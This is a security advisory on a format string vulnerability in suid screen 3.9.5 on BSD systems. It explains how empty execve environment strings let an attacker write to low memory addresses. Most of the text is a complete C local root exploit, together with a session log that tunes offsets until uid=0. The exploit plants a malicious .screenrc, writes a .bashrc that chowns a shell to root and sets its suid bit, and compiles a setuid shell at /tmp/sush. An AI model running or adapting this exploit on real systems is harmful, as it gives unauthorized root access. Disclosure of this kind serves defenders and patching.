COMMAND
screen
SYSTEMS AFFECTED
BSDish
PROBLEM
Paul Starzetz found following. He found a way to exploit format
string vulnerable applications, which are suid root (like screen)
on BSD-like systems. The mentioned problems arise form the low
virtual memory address (VMA) we want write to.
As far as there is no way to construct a string containing more
0x0's in standard C, we can profit from a feature (bug?) in the
passing of environment variables by execve function. execve()
will pass empty env strings (pointers to zeros, _not_ NULL
pointers) AS IS, so passing e.g. environ[a] = empty, environ[a]
= empty will lead to two 0x0#s pushed somewhere onto the stack...
With this feature we can construct an array of arbitrary data on
the bottom of the called programm's stack. If this array can be
reached from a fmt-vulnerable function, we can write to ANY VMA
address including also the .data section of a BSD process.
So we could now utilize that and write a new exploit for screen
which is our example here, but there is still another problem.
Screen would lock up after we simply write to (&real_uid - 2)
because we write to a part of another variable too, in this case
struct display* display, which leads to a complete crash. A look
at the debugger output shows that the following variable may be
overwritten without consequences, it seems to be less important
flag variable (sample offsets):
00055888 display
0005588c real_uid
00055890 adaptflag
00055894 rflag
Depending on the version you may not be able to overwrite real_uid
wihtout crash.... So the technique we need is to construct the
0x0 at &real_uid by increasing the write address successively by
1, writting to lsb first. This leads to following exploit:
a.out
USAGE a.out <write offset> <bufferoffset> <byteadj> <padding>
bash-2.04$ id
uid=1000(kurak) gid=10(users) groups=10(users)
First we need a bufferoffset at which screen wouldn't crash after
<ctrl-g> at _only_ one padding = {0,1,2,3}. The pair 10 0 would
do the job here:
bash-2.04$ a.out 0 10 0 0
Screen 3.9.5 local r00t exploit
by IhaQueR@IRCNET
creating magic string
building /tmp/.home/.screenrc
creating /tmp/.home/.bashrc
compiling suid shell
press enter to start screen, then hit enter again, ctrl-g, ctrl-c for
suid shell at /tmp/sush and root uid
Screen version 3.09.05 (FAU) 1-Sep-99
...
chown: /tmp/sush: Operation not permitted
chmod: /tmp/sush: Operation not permitted
kurak@ExploitMe> <ctrl-g> STATUS shows:
7m5e-309-2e+1530-2e+1531e-30934-2e+1535e-3092e-3232e-3097e-309-2e+153-2e+1534e-309
<ctrl-c>
chown: /tmp/sush: Operation not permitted
chmod: /tmp/sush: Operation not permitted
I have no name!@ExploitMe>id
uid=318941 gid=10(users) groups=10(users)
...
[screen is terminating]
Now the uid is 318941, hex 0x0004dddd, which means we have the write
sequence 2, 3, 0, 1. So the padding must be increased by 8 again:
bash-2.04$ a.out 0 10 0 8
...
I have no name!@ExploitMe>id
uid=3705461980 gid=10(users) groups=10(users)
...
[screen is terminating]
Now uid is 3705461980, hex 0xdcdcdcdc, so now we need to increase the
byteadj by 256-0xdc = 36:
bash-2.04$ a.out 0 10 36 8
...
uid=0(root) gid=10(users) groups=10(users)
root@ExploitMe>ls -l /tmp
total 70
-r--r--r-- 1 root wheel 11 Sep 7 13:07 .X0-lock
drwxrwxrwt 2 root wheel 512 Sep 7 13:07 .X11-unix
drwxr-xr-x 2 kurak wheel 512 Sep 9 19:52 .home
drwxr-xr-x 3 root wheel 512 Sep 7 13:51 screens
-rw-r--r-- 1 kurak wheel 3970 Sep 9 03:55 stackdmp
-rwsr-xr-x 1 root wheel 25564 Sep 9 20:16 sush
...
Boah, now we have uid=0 and a suid shell at /tmp/sush. Note,
with this technique you may bypass even an non-exec stack,
because we aren't executing anything. With the 'byte by byte'
writing technique combined with the execve 'feature' one may
write to even low VMA any data he want (assuming the application
is vulnerable of course). Imagine a suid app, which never starts
a shell nor uses setuid(), but calls e.g. /bin/mail to report
you are trying to abuse it... You may change the string
"/bin/mail" for example to "/tmp/r00t"....
explbsd395.c was tested again OpenBSD 2.8-beta (broken):
/****************************************************************
* *
* Screen 3.9.5 BSD local exploit *
* by IhaQueR at IRCNET *
* !only for demonstrative purposes! *
* *
****************************************************************/
#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <sys/utsname.h>
#include <pwd.h>
#include <stdlib.h>
#include <errno.h>
extern char **environ;
char* home = "/tmp/.home";
char* ev1 = "PS1=\\u@ExploitMe>";
#define SCREEN "/usr/local/bin/screen-3.9.5"
#define SHELL "/bin/sh"
#define SCREENRC ".screenrc"
#define BASHRC ".bashrc"
/* offset to the env seen from Msg() */
#define BUFOFFSET 2682
/* addr to be written (may vary)*/
#define WRITEADDR 0x3c1e4
/* some addresses grabbed from 3.9.5
OpenBSD: &real_uid, &real_gid, &eff_uid, &eff_gid
0x3c1e4 0x3c224 0x3b1b0 0x3b1a4
for finding addresses see expl.c, it may be hard...
*/
/* repeat the addr table in environ */
#define ENVREP 32
/* but write only once */
#define WREP 1
char* env[ENVREP*4 + 256];
#define TMPBUFSIZE (BUFOFFSET+1024)
int main(int argc, char** argv)
{
int i, off=0;
int writeoffs=0, bufoffset=0, padding=0, bfoff=0, byteadj=0;
int ep=0, b=0, ob=0;
unsigned vv[ENVREP+2];
unsigned char* pp;
FILE* fp;
char buf[TMPBUFSIZE];
unsigned char myhome[TMPBUFSIZE];
char screenrc[TMPBUFSIZE];
char bashrc[TMPBUFSIZE];
char pad[TMPBUFSIZE];
char buf2[TMPBUFSIZE];
if(argc != 5) {
printf("USAGE %s <write offset> <bufferoffset> <byteadj> <padding>\n", argv[0]);
return 0;
} else {
printf("Screen 3.9.5 local r00t exploit\n");
printf("by IhaQueR@IRCNET\n\n");
}
/* user supplied offsets */
writeoffs = atoi(argv[1]);
bfoff = atoi(argv[2]);
byteadj = atoi(argv[3]);
padding = atoi(argv[4]);
/* create env */
for(i=0; i<ENVREP; i++)
vv[i] = WRITEADDR + writeoffs + i%4;
vv[ENVREP] = 0;
pp = (unsigned char*) vv;
b = 0;
ob = b;
sprintf(myhome, "HOME=%s", home);
putenv(myhome);
putenv(ev1);
while(environ[ep]){
env[ep] = environ[ep];
ep++;
}
/* pad */
sprintf(pad, "%s", "PPPP");
for(i=0; i<padding; i++)
strcat(pad, "Q");
env[ep++]=pad;
while(b<ENVREP*4) {
if(pp[b] == 0) {
env[ep] = pp + ob;
ob = b+1;
ep++;
}
b++;
}
if(*(pp+ob))
env[ep++] = pp + ob;
env[ep++] = NULL;
/* create vbell string */
printf("creating magic string\n");
bzero(buf, TMPBUFSIZE);
bufoffset = BUFOFFSET + bfoff*sizeof(double);
/* consume stack arguments */
for(i=0; i<bufoffset/sizeof(double)+1; i++)
strcat(buf, "%.g");
/* finally write to adress */
sprintf(buf2, "%%dx%%n%%n%%n%%n", byteadj+16);
for(i=0;i<WREP; i++)
strcat(buf, buf2);
/* create homedir */
if(mkdir((char*)(home), 0xfff))
if(errno != EEXIST) {
printf("\nERROR: mkdir()");
return 2;
}
/* strings for .screenrc and .bashrc */
strcpy(screenrc, home);
strcat(screenrc, "/");
strcat(screenrc, SCREENRC);
strcpy(bashrc, home);
strcat(bashrc, "/");
strcat(bashrc, BASHRC);
/* create screenrc */
printf("building %s\n", screenrc);
if(fp = fopen(screenrc, "w")) {
fprintf(fp, "vbell on\n");
fprintf(fp, "vbell_msg '%s'\n", buf);
fprintf(fp, "vbellwait 3600\n");
fclose(fp);
}
else {
printf("ERROR: opening %s\n", screenrc);
return 1;
}
/* create bashrc */
printf("creating %s\n", bashrc);
snprintf(buf, TMPBUFSIZE, "echo >%s 'chown root /tmp/sush; chmod 4755
/tmp/sush'", bashrc);
system(buf);
/* create suid shell */
printf("compiling suid shell\n");
snprintf(buf, TMPBUFSIZE, "echo >/tmp/sush.c 'main(int ac, char**
av){setuid(0); setgid(0); execv(\"%s\", av);}'", SHELL);
system(buf);
system("gcc /tmp/sush.c -o /tmp/sush");
/* set env and call screen */
argv[1] = NULL;
printf("press enter to start screen, then hit enter again, ctrl-g, ctrl-c for suid shell at /tmp/sush and root uid");
getchar();
execve(SCREEN, argv, env);
}
SOLUTION
Patch is available.